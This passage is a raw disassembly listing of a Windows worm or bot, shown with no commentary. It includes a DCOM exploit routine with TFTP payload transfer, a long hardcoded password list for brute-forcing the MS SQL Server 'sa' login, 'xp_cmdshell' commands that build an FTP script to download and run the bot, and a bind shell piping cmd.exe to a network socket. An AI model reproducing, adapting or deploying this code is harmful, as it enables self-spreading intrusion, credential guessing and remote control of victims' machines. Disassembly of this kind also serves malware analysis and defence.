		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C2F3


loc_40C2F0:				; CODE XREF: sub_40C16C+19Bj
					; sub_40C16C+1B4j ...
		push	edi
		jmp	short loc_40C351
; ---------------------------------------------------------------------------


loc_40C2F3:				; CODE XREF: sub_40C16C+182j
		xor	ebx, ebx
		push	ebx
		push	48h
		push	offset dword_43FE50
		push	edi
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C2F0
		push	ebx
		lea	eax, [ebp+var_3214]
		push	esi
		push	eax
		push	edi
		call	dword_4D6680	; recv
		cmp	[ebp+var_3212],	0Ch
		jnz	short loc_40C2F0
		push	ebx
		lea	eax, [ebp+var_1214]
		push	ebx
		push	eax
		push	edi
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C2F0
		push	ebx
		lea	eax, [ebp+var_3214]
		push	esi
		push	eax
		push	edi
		call	dword_4D6680	; recv
		cmp	[ebp+var_3212],	3
		push	edi
		jnz	short loc_40C35E


loc_40C351:				; CODE XREF: sub_40C16C+185j
		call	dword_4D6700	; closesocket


loc_40C357:				; CODE XREF: sub_40C16C+1Fj
					; sub_40C16C+28j ...
		xor	eax, eax


loc_40C359:				; CODE XREF: sub_40C16C+2A3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C35E:				; CODE XREF: sub_40C16C+1E3j
		call	dword_4D6700	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		xor	esi, esi


loc_40C37E:				; CODE XREF: sub_40C16C+232j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40FAA5
		test	eax, eax
		pop	ecx
		jnz	short loc_40C3A2
		push	1388h
		call	dword_4E033C	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40C37E
		jmp	short loc_40C40C
; ---------------------------------------------------------------------------


loc_40C3A2:				; CODE XREF: sub_40C16C+221j
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_417CB0
		add	esp, 10h
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_40C3EE
		push	ebx
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_40C3EE:				; CODE XREF: sub_40C16C+263j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_43F070[eax]
		inc	dword ptr [eax]


loc_40C40C:				; CODE XREF: sub_40C16C+234j
		xor	eax, eax
		inc	eax
		jmp	loc_40C359
sub_40C16C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1060h
		call	sub_4181D0
		mov	al, byte_4D9384
		push	ebx
		push	esi
		mov	esi, offset aSa	; "sa"
		xor	ebx, ebx
		mov	[ebp-1], al
		mov	[ebp-30h], esi
		mov	dword ptr [ebp-2Ch], offset aRoot ; "root"
		mov	dword ptr [ebp-28h], offset aAdmin ; "admin"
		mov	[ebp-24h], ebx
		mov	dword ptr [ebp-260h], offset byte_4D9385
		mov	dword ptr [ebp-25Ch], offset aAdministrator ; "administrator"
		mov	dword ptr [ebp-258h], offset aAdministrador ; "administrador"
		mov	dword ptr [ebp-254h], offset aAdministrateur ; "administrateur"
		mov	dword ptr [ebp-250h], offset aAdministrat ; "administrat"
		mov	dword ptr [ebp-24Ch], offset aAdmins ; "admins"
		mov	dword ptr [ebp-248h], offset aAdmin_0 ;	"admin"
		mov	dword ptr [ebp-244h], offset aAdm ; "adm"
		mov	dword ptr [ebp-240h], offset aPassword1	; "password1"
		mov	dword ptr [ebp-23Ch], offset aPassword ; "password"
		mov	dword ptr [ebp-238h], offset aPasswd ; "passwd"
		mov	dword ptr [ebp-234h], offset aPass1234 ; "pass1234"
		mov	dword ptr [ebp-230h], offset aPass ; "pass"
		mov	dword ptr [ebp-22Ch], offset aPwd ; "pwd"
		mov	dword ptr [ebp-228h], offset a007 ; "007"
		mov	dword ptr [ebp-224h], offset a1	; "1"
		mov	dword ptr [ebp-220h], offset a12 ; "12"
		mov	dword ptr [ebp-21Ch], offset a123 ; "123"
		mov	dword ptr [ebp-218h], offset a1234 ; "1234"
		mov	dword ptr [ebp-214h], offset a12345 ; "12345"
		mov	dword ptr [ebp-210h], offset a123456 ; "123456"
		mov	dword ptr [ebp-20Ch], offset a1234567 ;	"1234567"
		mov	dword ptr [ebp-208h], offset a12345678 ; "12345678"
		mov	dword ptr [ebp-204h], offset a123456789	; "123456789"
		mov	dword ptr [ebp-200h], offset a1234567890 ; "1234567890"
		mov	dword ptr [ebp-1FCh], offset a2000 ; "2000"
		mov	dword ptr [ebp-1F8h], offset a2001 ; "2001"
		mov	dword ptr [ebp-1F4h], offset a2002 ; "2002"
		mov	dword ptr [ebp-1F0h], offset a2003 ; "2003"
		mov	dword ptr [ebp-1ECh], offset a2004 ; "2004"
		mov	dword ptr [ebp-1E8h], offset aTest ; "test"
		mov	dword ptr [ebp-1E4h], offset aGuest ; "guest"
		mov	dword ptr [ebp-1E0h], offset aNone ; "none"
		mov	dword ptr [ebp-1DCh], offset aDemo ; "demo"
		mov	dword ptr [ebp-1D8h], offset aUnix ; "unix"
		mov	dword ptr [ebp-1D4h], offset aLinux ; "linux"
		mov	dword ptr [ebp-1D0h], offset aChangeme ; "changeme"
		mov	dword ptr [ebp-1CCh], offset aDefault ;	"default"
		mov	dword ptr [ebp-1C8h], offset aSystem ; "system"
		mov	dword ptr [ebp-1C4h], offset aServer_1 ; "server"
		mov	dword ptr [ebp-1C0h], offset aRoot_0 ; "root"
		mov	dword ptr [ebp-1BCh], offset aNull ; "null"
		mov	dword ptr [ebp-1B8h], offset aQwerty ; "qwerty"
		mov	dword ptr [ebp-1B4h], offset aMail ; "mail"
		mov	dword ptr [ebp-1B0h], offset aOutlook ;	"outlook"
		mov	dword ptr [ebp-1ACh], offset aWeb ; "web"
		mov	dword ptr [ebp-1A8h], offset aWww ; "www"
		mov	dword ptr [ebp-1A4h], offset aInternet ; "internet"
		mov	dword ptr [ebp-1A0h], offset aAccounts ; "accounts"
		mov	dword ptr [ebp-19Ch], offset aAccounting ; "accounting"
		mov	dword ptr [ebp-198h], offset aHome ; "home"
		mov	dword ptr [ebp-194h], offset aHomeuser ; "homeuser"
		mov	dword ptr [ebp-190h], offset aUser_1 ; "user"
		mov	dword ptr [ebp-18Ch], offset aOem ; "oem"
		mov	dword ptr [ebp-188h], offset aOemuser ;	"oemuser"
		mov	dword ptr [ebp-184h], offset aOeminstall ; "oeminstall"
		mov	dword ptr [ebp-180h], offset aWindows ;	"windows"
		mov	dword ptr [ebp-17Ch], offset aWin98 ; "win98"
		mov	dword ptr [ebp-178h], offset aWin2k ; "win2k"
		mov	dword ptr [ebp-174h], offset aWinxp ; "winxp"
		mov	dword ptr [ebp-170h], offset aWinnt ; "winnt"
		mov	dword ptr [ebp-16Ch], offset aWin2000 ;	"win2000"
		mov	dword ptr [ebp-168h], offset aQaz ; "qaz"
		mov	dword ptr [ebp-164h], offset aAsd ; "asd"
		mov	dword ptr [ebp-160h], offset aZxc ; "zxc"
		mov	dword ptr [ebp-15Ch], offset aQwe ; "qwe"
		mov	dword ptr [ebp-158h], offset aBob ; "bob"
		mov	dword ptr [ebp-154h], offset aJen ; "jen"
		mov	dword ptr [ebp-150h], offset aJoe ; "joe"
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14Ch], offset aFred ; "fred"
		push	eax
		push	ebx
		push	1
		mov	dword ptr [ebp-148h], offset aBill ; "bill"
		mov	dword ptr [ebp-144h], offset aMike ; "mike"
		mov	dword ptr [ebp-140h], offset aJohn ; "john"
		mov	dword ptr [ebp-13Ch], offset aPeter ; "peter"
		mov	dword ptr [ebp-138h], offset aLuke ; "luke"
		mov	dword ptr [ebp-134h], offset aSam ; "sam"
		mov	dword ptr [ebp-130h], offset aSue ; "sue"
		mov	dword ptr [ebp-12Ch], offset aSusan ; "susan"
		mov	dword ptr [ebp-128h], offset aPeter_0 ;	"peter"
		mov	dword ptr [ebp-124h], offset aBrian ; "brian"
		mov	dword ptr [ebp-120h], offset aLee ; "lee"
		mov	dword ptr [ebp-11Ch], offset aNeil ; "neil"
		mov	dword ptr [ebp-118h], offset aIan ; "ian"
		mov	dword ptr [ebp-114h], offset aChris ; "chris"
		mov	dword ptr [ebp-110h], offset aEric ; "eric"
		mov	dword ptr [ebp-10Ch], offset aGeorge ; "george"
		mov	dword ptr [ebp-108h], offset aKate ; "kate"
		mov	dword ptr [ebp-104h], offset aBob_0 ; "bob"
		mov	dword ptr [ebp-100h], offset aKatie ; "katie"
		mov	dword ptr [ebp-0FCh], offset aMary ; "mary"
		mov	dword ptr [ebp-0F8h], offset aLogin_0 ;	"login"
		mov	dword ptr [ebp-0F4h], offset aLoginpass	; "loginpass"
		mov	dword ptr [ebp-0F0h], offset aTechnical	; "technical"
		mov	dword ptr [ebp-0ECh], offset aBackup ; "backup"
		mov	dword ptr [ebp-0E8h], offset aExchange ; "exchange"
		mov	dword ptr [ebp-0E4h], offset aFuck ; "fuck"
		mov	dword ptr [ebp-0E0h], offset aBitch ; "bitch"
		mov	dword ptr [ebp-0DCh], offset aSlut ; "slut"
		mov	dword ptr [ebp-0D8h], offset aSex ; "sex"
		mov	dword ptr [ebp-0D4h], offset aGod ; "god"
		mov	dword ptr [ebp-0D0h], offset aHell ; "hell"
		mov	dword ptr [ebp-0CCh], offset aHello ; "hello"
		mov	dword ptr [ebp-0C8h], offset aDomain ; "domain"
		mov	dword ptr [ebp-0C4h], offset aDomainpass ; "domainpass"
		mov	dword ptr [ebp-0C0h], offset aDomainpassword ; "domainpassword"
		mov	dword ptr [ebp-0BCh], offset aDatabase ; "database"
		mov	dword ptr [ebp-0B8h], offset aAccess ; "access"
		mov	dword ptr [ebp-0B4h], offset aDbpass ; "dbpass"
		mov	dword ptr [ebp-0B0h], offset aDbpassword ; "dbpassword"
		mov	dword ptr [ebp-0ACh], offset aDatabasepass ; "databasepass"
		mov	dword ptr [ebp-0A8h], offset aData ; "data"
		mov	dword ptr [ebp-0A4h], offset aDatabasepasswo ; "databasepassword"
		mov	dword ptr [ebp-0A0h], offset aDb1 ; "db1"
		mov	dword ptr [ebp-9Ch], offset aDb2 ; "db2"
		mov	dword ptr [ebp-98h], offset aDb1234 ; "db1234"
		mov	dword ptr [ebp-94h], offset aSa_0 ; "sa"
		mov	dword ptr [ebp-90h], offset aSql ; "sql"
		mov	dword ptr [ebp-8Ch], offset aSqlpassoainsta ; "sqlpassoainstall"
		mov	dword ptr [ebp-88h], offset aOrainstall	; "orainstall"
		mov	dword ptr [ebp-84h], offset aOracle ; "oracle"
		mov	dword ptr [ebp-80h], offset aIbm ; "ibm"
		mov	dword ptr [ebp-7Ch], offset aCisco ; "cisco"
		mov	dword ptr [ebp-78h], offset aDell ; "dell"
		mov	dword ptr [ebp-74h], offset aCompaq ; "compaq"
		mov	dword ptr [ebp-70h], offset aSiemens ; "siemens"
		mov	dword ptr [ebp-6Ch], offset aHp	; "hp"
		mov	dword ptr [ebp-68h], offset aNokia ; "nokia"
		mov	dword ptr [ebp-64h], offset aXp	; "xp"
		mov	dword ptr [ebp-60h], offset aControl ; "control"
		mov	dword ptr [ebp-5Ch], offset aOffice ; "office"
		mov	dword ptr [ebp-58h], offset aBlank ; "blank"
		mov	dword ptr [ebp-54h], offset aWinpass ; "winpass"
		mov	dword ptr [ebp-50h], offset aMain ; "main"
		mov	dword ptr [ebp-4Ch], offset aLan ; "lan"
		mov	dword ptr [ebp-48h], offset aInternet_0	; "internet"
		mov	dword ptr [ebp-44h], offset aIntranet ;	"intranet"
		mov	dword ptr [ebp-40h], offset aStudent ; "student"
		mov	dword ptr [ebp-3Ch], offset aTeacher ; "teacher"
		mov	dword ptr [ebp-38h], offset aStaff ; "staff"
		mov	[ebp-34h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], ebx
		call	dword_4D65E4
		test	ax, ax
		jnz	short loc_40C9B0
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-14h]
		call	dword_4D66F0
		test	ax, ax
		jz	short loc_40C9B7


loc_40C9B0:				; CODE XREF: .data:0040C997j
		xor	eax, eax
		jmp	loc_40CBD7
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: .data:0040C9AEj
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-14h]
		push	2
		call	dword_4D65E4
		test	ax, ax
		jnz	loc_40CBCA
		push	edi
		mov	edi, dword_4E033C
		mov	[ebp-8], ebx
		mov	[ebp-18h], esi


loc_40C9DC:				; CODE XREF: .data:0040CB26j
		xor	esi, esi
		mov	eax, offset byte_4D9385


loc_40C9E3:				; CODE XREF: .data:0040CA55j
		lea	ecx, [ebp-1]
		push	ecx
		push	eax
		push	dword ptr [ebp-18h]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		lea	eax, [ebp-0C60h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		lea	eax, [ebp-1Eh]
		push	ebx
		push	eax
		lea	eax, [ebp-1060h]
		push	400h
		push	eax
		lea	eax, [ebp-0C60h]
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp-0C60h]
		push	eax
		push	ebx
		push	dword ptr [ebp-0Ch]
		call	dword_4D66A4
		cmp	ax, bx
		jz	short loc_40CA5C
		cmp	ax, 1
		jz	short loc_40CA5C
		push	1F4h
		call	edi	; Sleep
		mov	eax, [ebp+esi*4-25Ch]
		inc	esi
		cmp	eax, ebx
		jnz	short loc_40C9E3
		jmp	loc_40CB17
; ---------------------------------------------------------------------------


loc_40CA5C:				; CODE XREF: .data:0040CA3Cj
					; .data:0040CA42j
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	dword_4D65E4
		mov	eax, offset byte_4370EC
		push	eax
		push	eax
		call	sub_417DC0
		push	eax
		call	sub_417DC0
		push	eax
		push	dword_4D63A0
		push	dword ptr [ebp+8]
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp-860h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_417CB0
		add	esp, 20h
		lea	eax, [ebp-860h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4D662C
		test	ax, ax
		jz	short loc_40CB0C
		push	1388h
		call	edi	; Sleep
		push	offset byte_4370EC
		lea	eax, [ebp-860h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-460h]
		push	offset dword_440AB8
		push	eax
		call	sub_417CB0
		add	esp, 18h
		lea	eax, [ebp-860h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4D662C
		test	ax, ax
		jz	short loc_40CB31
		push	1388h
		call	edi	; Sleep


loc_40CB0C:				; CODE XREF: .data:0040CAB7j
		push	dword ptr [ebp-10h]
		push	3
		call	dword_4D6684


loc_40CB17:				; CODE XREF: .data:0040CA57j
		inc	dword ptr [ebp-8]
		mov	eax, [ebp-8]
		mov	eax, [ebp+eax*4-30h]
		cmp	eax, ebx
		mov	[ebp-18h], eax
		jnz	loc_40C9DC
		jmp	loc_40CBBB
; ---------------------------------------------------------------------------


loc_40CB31:				; CODE XREF: .data:0040CB03j
		push	dword ptr [ebp+esi*4-260h]
		mov	eax, [ebp-8]
		mov	dword ptr [ebp-1Ch], 1
		push	dword ptr [ebp+eax*4-30h]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset unk_440AD4
		lea	eax, [ebp-460h]
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 20h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40CB9D
		push	ebx
		lea	eax, [ebp-460h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40764A
		add	esp, 14h


loc_40CB9D:				; CODE XREF: .data:0040CB7Ej
		lea	eax, [ebp-460h]
		push	eax
		call	sub_40F927
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_43F070[eax]
		inc	dword ptr [eax]


loc_40CBBB:				; CODE XREF: .data:0040CB2Cj
		push	dword ptr [ebp-0Ch]
		push	2
		call	dword_4D6684
		mov	ebx, [ebp-1Ch]
		pop	edi


loc_40CBCA:				; CODE XREF: .data:0040C9C9j
		push	dword ptr [ebp-14h]
		push	1
		call	dword_4D6684
		mov	eax, ebx


loc_40CBD7:				; CODE XREF: .data:0040C9B2j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40CBDB	proc near		; DATA XREF: sub_40CC69+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40CBE4:				; CODE XREF: sub_40CBDB+25j
					; sub_40CBDB+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D9398
		call	dword_4D6680	; recv
		test	eax, eax
		jle	short loc_40CBE4
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D9394
		call	dword_4E03B4	; WriteFile
		jmp	short loc_40CBE4
sub_40CBDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40CC1E	proc near		; DATA XREF: sub_40CC69+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40CC27:				; CODE XREF: sub_40CC1E+2Fj
					; sub_40CC1E+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D9388
		call	dword_4E03B8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40CC27
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4D9398
		call	dword_4D66B8	; send
		jmp	short loc_40CC27
sub_40CC1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40CC69	proc near		; DATA XREF: sub_401C87+26D8o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		xor	edi, edi
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4D6668	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4D66E8	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4D6694	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4D6690	; listen
		mov	ebx, dword_4E03C8
		mov	esi, dword_4E032C


loc_40CCE9:				; CODE XREF: sub_40CC69+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4D66FC	; accept
		mov	dword_4D9398, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D9394
		push	offset dword_4D9390
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D938C
		push	offset dword_4D9388
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_417700
		mov	eax, dword_4D9390
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4D938C
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4E03C4	; GetCurrentProcess
		push	eax
		push	dword_4D938C
		call	dword_4E03C4	; GetCurrentProcess
		push	eax
		call	dword_4E03C0	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	dword_4E0330	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40CC1E
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4E0340	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40CBDB
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4E0340	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4E0364	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4E0378	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4E0378	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4E03BC	; TerminateProcess
		push	dword_4D9390
		call	esi	; CloseHandle
		push	dword_4D9394
		call	esi	; CloseHandle
		push	dword_4D9388
		call	esi	; CloseHandle
		push	dword_4D938C
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40CCE9
sub_40CC69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CE39	proc near		; DATA XREF: .data:0043700Co
		jmp	$+5
sub_40CE39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CE3E	proc near
		push	0FFFEh
		push	400h
		call	sub_412243
		pop	ecx
		mov	dword_4D939C, eax
		pop	ecx
		retn
sub_40CE3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE55	proc near		; DATA XREF: sub_40A01B+352o

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4D6668	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4D66E8	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40CEFC
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40CEDC
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_40764A
		add	esp, 14h


loc_40CEDC:				; CODE XREF: sub_40CE55+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_40F927
		push	[ebp+var_AC]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread


loc_40CEFC:				; CODE XREF: sub_40CE55+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_4495AC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4D6694	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40CFF7
		call	dword_4D65FC	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40CF7C
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40CF5C
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_40764A
		add	esp, 14h


loc_40CF5C:				; CODE XREF: sub_40CE55+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_40F927
		push	[ebp+var_AC]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_40CF7C:				; CODE XREF: sub_40CE55+DEj
		push	0FFFEh
		push	ebx
		call	sub_412243
		pop	ecx
		mov	dword_4D939C, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4D6694	; bind
		cmp	eax, esi
		jnz	short loc_40CFF7
		call	dword_4D65FC	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40CFD7
		cmp	eax, 2740h
		jz	short loc_40CFD7
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_40764A
		add	esp, 14h


loc_40CFD7:				; CODE XREF: sub_40CE55+159j
					; sub_40CE55+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_40F927
		push	[ebp+var_AC]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread


loc_40CFF7:				; CODE XREF: sub_40CE55+CDj
					; sub_40CE55+14Cj
		push	5
		push	edi
		call	dword_4D6690	; listen
		cmp	eax, esi
		jz	loc_40D0DC
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_4370EC


loc_40D014:				; CODE XREF: sub_40CE55+1D7j
					; sub_40CE55+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4D66FC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40D014
		cmp	[ebp+var_1C], 0
		jnz	short loc_40D055
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_40764A
		add	esp, 14h


loc_40D055:				; CODE XREF: sub_40CE55+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_40F927
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4D6680	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D014
		push	esi
		push	esi
		push	dword_4D63A0
		push	[ebp+var_B0]
		call	sub_408882
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D014
		inc	dword_4D93A0
		jmp	loc_40D014
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40CE55+1ADj
		push	edi
		call	dword_4D6700	; closesocket
		push	[ebp+var_AC]
